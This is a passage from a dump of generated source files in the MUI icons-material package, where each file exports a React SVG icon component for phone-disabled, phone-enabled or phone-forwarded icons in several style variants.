    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 14.54-1.43-1.43c.56-.73 1.05-1.5 1.47-2.32l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 3.98-1.37 7.64-3.66 10.54m-2.82 2.81C11.63 19.64 7.97 21 4 21c-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.35-.12.75-.03 1.02.24l2.2 2.2c.81-.42 1.58-.9 2.3-1.46L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41z\"\n}), 'PhoneDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 14.54-1.43-1.43c.56-.73 1.05-1.5 1.47-2.32l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 3.98-1.37 7.64-3.66 10.54m-2.82 2.81C11.63 19.64 7.97 21 4 21c-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.35-.12.75-.03 1.02.24l2.2 2.2c.81-.42 1.58-.9 2.3-1.46L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41z\"\n}), 'PhoneDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 14.54-1.43-1.43c.56-.73 1.05-1.5 1.47-2.32l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 3.98-1.37 7.64-3.66 10.54m-2.82 2.81C11.63 19.64 7.97 21 4 21c-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c.81-.42 1.58-.9 2.3-1.46L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41zm-6.92-.33c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75zM17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79z\"\n}), 'PhoneDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 14.54-1.43-1.43c.56-.73 1.05-1.5 1.47-2.32l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 3.98-1.37 7.64-3.66 10.54m-2.82 2.81C11.63 19.64 7.97 21 4 21c-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c.81-.42 1.58-.9 2.3-1.46L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41zm-6.92-.33c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75zM17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79z\"\n}), 'PhoneDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.54 17.37c-2.63 2.08-5.89 3.39-9.45 3.61-1.13.07-2.07-.87-2.07-2v-1.73c-.01-1.01.75-1.86 1.76-1.98l2.54-.29c.61-.07 1.21.14 1.64.57l1.84 1.84c.81-.41 1.59-.9 2.31-1.45L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.03-.39 1.42 0L20.49 20.5c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0zm2.85-6.57-1.85-1.85c-.43-.43-.64-1.03-.57-1.64l.29-2.52c.12-1.01.97-1.77 1.99-1.77h1.73c1.13 0 2.07.94 2 2.07-.22 3.57-1.54 6.83-3.62 9.47l-1.43-1.43c.55-.73 1.04-1.51 1.46-2.33\"\n}), 'PhoneDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.54 17.37c-2.63 2.08-5.89 3.39-9.45 3.61-1.13.07-2.07-.87-2.07-2v-1.73c-.01-1.01.75-1.86 1.76-1.98l2.54-.29c.61-.07 1.21.14 1.64.57l1.84 1.84c.81-.41 1.59-.9 2.31-1.45L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.03-.39 1.42 0L20.49 20.5c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0zm2.85-6.57-1.85-1.85c-.43-.43-.64-1.03-.57-1.64l.29-2.52c.12-1.01.97-1.77 1.99-1.77h1.73c1.13 0 2.07.94 2 2.07-.22 3.57-1.54 6.83-3.62 9.47l-1.43-1.43c.55-.73 1.04-1.51 1.46-2.33\"\n}), 'PhoneDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.52 17.35C11.39 19.83 7.36 21.22 3 20.97v-5.51l5.27-.61 2.52 2.52c.81-.41 1.58-.9 2.3-1.45L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41zm1.39-4.24c.56-.73 1.05-1.51 1.47-2.33l-2.53-2.53.61-5.25h5.51c.25 4.37-1.15 8.4-3.63 11.54z\"\n}), 'PhoneDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.52 17.35C11.39 19.83 7.36 21.22 3 20.97v-5.51l5.27-.61 2.52 2.52c.81-.41 1.58-.9 2.3-1.45L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41zm1.39-4.24c.56-.73 1.05-1.51 1.47-2.33l-2.53-2.53.61-5.25h5.51c.25 4.37-1.15 8.4-3.63 11.54z\"\n}), 'PhoneDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 14.54-1.43-1.43c.56-.73 1.05-1.5 1.47-2.32l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 3.98-1.37 7.64-3.66 10.54m-2.82 2.81C11.63 19.64 7.97 21 4 21c-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c.81-.42 1.58-.9 2.3-1.46L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41zM17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79zM7.6 17.02c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75z\"\n}), 'PhoneDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 14.54-1.43-1.43c.56-.73 1.05-1.5 1.47-2.32l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 3.98-1.37 7.64-3.66 10.54m-2.82 2.81C11.63 19.64 7.97 21 4 21c-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c.81-.42 1.58-.9 2.3-1.46L1.39 4.22l1.42-1.41L21.19 21.2l-1.41 1.41zM17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79zM7.6 17.02c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75z\"\n}), 'PhoneDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.38 10.79-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 9.39-7.61 17-17 17-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.35-.12.75-.03 1.02.24l2.2 2.2c2.83-1.45 5.15-3.76 6.59-6.59\"\n}), 'PhoneEnabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.38 10.79-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1 0 9.39-7.61 17-17 17-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.35-.12.75-.03 1.02.24l2.2 2.2c2.83-1.45 5.15-3.76 6.59-6.59\"\n}), 'PhoneEnabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79zM7.6 17.02c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75zM16.5 3H20c.55 0 1 .45 1 1 0 9.39-7.61 17-17 17-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c2.83-1.45 5.15-3.76 6.59-6.59l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1\"\n}), 'PhoneEnabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79zM7.6 17.02c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75zM16.5 3H20c.55 0 1 .45 1 1 0 9.39-7.61 17-17 17-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c2.83-1.45 5.15-3.76 6.59-6.59l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1\"\n}), 'PhoneEnabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.78 15.27 2.54-.29c.61-.07 1.21.14 1.64.57l1.84 1.84c2.83-1.44 5.15-3.75 6.59-6.59l-1.85-1.85c-.43-.43-.64-1.03-.57-1.64l.29-2.52c.12-1.01.97-1.77 1.99-1.77h1.73c1.13 0 2.07.94 2 2.07-.53 8.54-7.36 15.36-15.89 15.89-1.13.07-2.07-.87-2.07-2v-1.73c-.01-1.01.75-1.86 1.76-1.98\"\n}), 'PhoneEnabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.78 15.27 2.54-.29c.61-.07 1.21.14 1.64.57l1.84 1.84c2.83-1.44 5.15-3.75 6.59-6.59l-1.85-1.85c-.43-.43-.64-1.03-.57-1.64l.29-2.52c.12-1.01.97-1.77 1.99-1.77h1.73c1.13 0 2.07.94 2 2.07-.53 8.54-7.36 15.36-15.89 15.89-1.13.07-2.07-.87-2.07-2v-1.73c-.01-1.01.75-1.86 1.76-1.98\"\n}), 'PhoneEnabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 15.46 5.27-.61 2.52 2.52c2.83-1.44 5.15-3.75 6.59-6.59l-2.53-2.53.61-5.25h5.51C21.55 13.18 13.18 21.55 3 20.97z\"\n}), 'PhoneEnabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 15.46 5.27-.61 2.52 2.52c2.83-1.44 5.15-3.75 6.59-6.59l-2.53-2.53.61-5.25h5.51C21.55 13.18 13.18 21.55 3 20.97z\"\n}), 'PhoneEnabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4c0 9.39-7.61 17-17 17-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c2.83-1.45 5.15-3.76 6.59-6.59l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1M7.6 17.02c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75zM17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79z\"\n}), 'PhoneEnabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneEnabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4c0 9.39-7.61 17-17 17-.55 0-1-.45-1-1v-3.49c0-.55.45-1 1-1 1.24 0 2.45-.2 3.57-.57.1-.04.21-.05.31-.05.26 0 .51.1.71.29l2.2 2.2c2.83-1.45 5.15-3.76 6.59-6.59l-2.2-2.2c-.28-.28-.36-.67-.25-1.02.37-1.12.57-2.32.57-3.57 0-.55.45-1 1-1H20c.55 0 1 .45 1 1M7.6 17.02c-.85.24-1.72.39-2.6.45v1.49c1.32-.09 2.59-.35 3.8-.75zM17.46 5c-.06.89-.21 1.76-.45 2.59l1.2 1.2c.41-1.2.67-2.47.76-3.79z\"\n}), 'PhoneEnabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwarded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 11 5-5-5-5v3h-4v4h4zm2 4.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1\"\n}), 'PhoneForwarded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwarded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 11 5-5-5-5v3h-4v4h4zm2 4.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1\"\n}), 'PhoneForwarded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM18 11l5-5-5-5v3h-4v4h4z\"\n}), 'PhoneForwardedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM18 11l5-5-5-5v3h-4v4h4z\"\n}), 'PhoneForwardedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.65 5.65-3.79-3.79c-.32-.32-.86-.1-.86.35V4h-3.5c-.28 0-.5.22-.5.5v3c0 .28.22.5.5.5H18v1.79c0 .45.54.67.85.35l3.79-3.79c.2-.19.2-.51.01-.7m-3.42 9.61-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PhoneForwardedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.65 5.65-3.79-3.79c-.32-.32-.86-.1-.86.35V4h-3.5c-.28 0-.5.22-.5.5v3c0 .28.22.5.5.5H18v1.79c0 .45.54.67.85.35l3.79-3.79c.2-.19.2-.51.01-.7m-3.42 9.61-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PhoneForwardedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 11 5-5-5-5v3h-4v4h4zm-4.79 6.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}), 'PhoneForwardedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 11 5-5-5-5v3h-4v4h4zm-4.79 6.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}), 'PhoneForwardedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.2 18.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 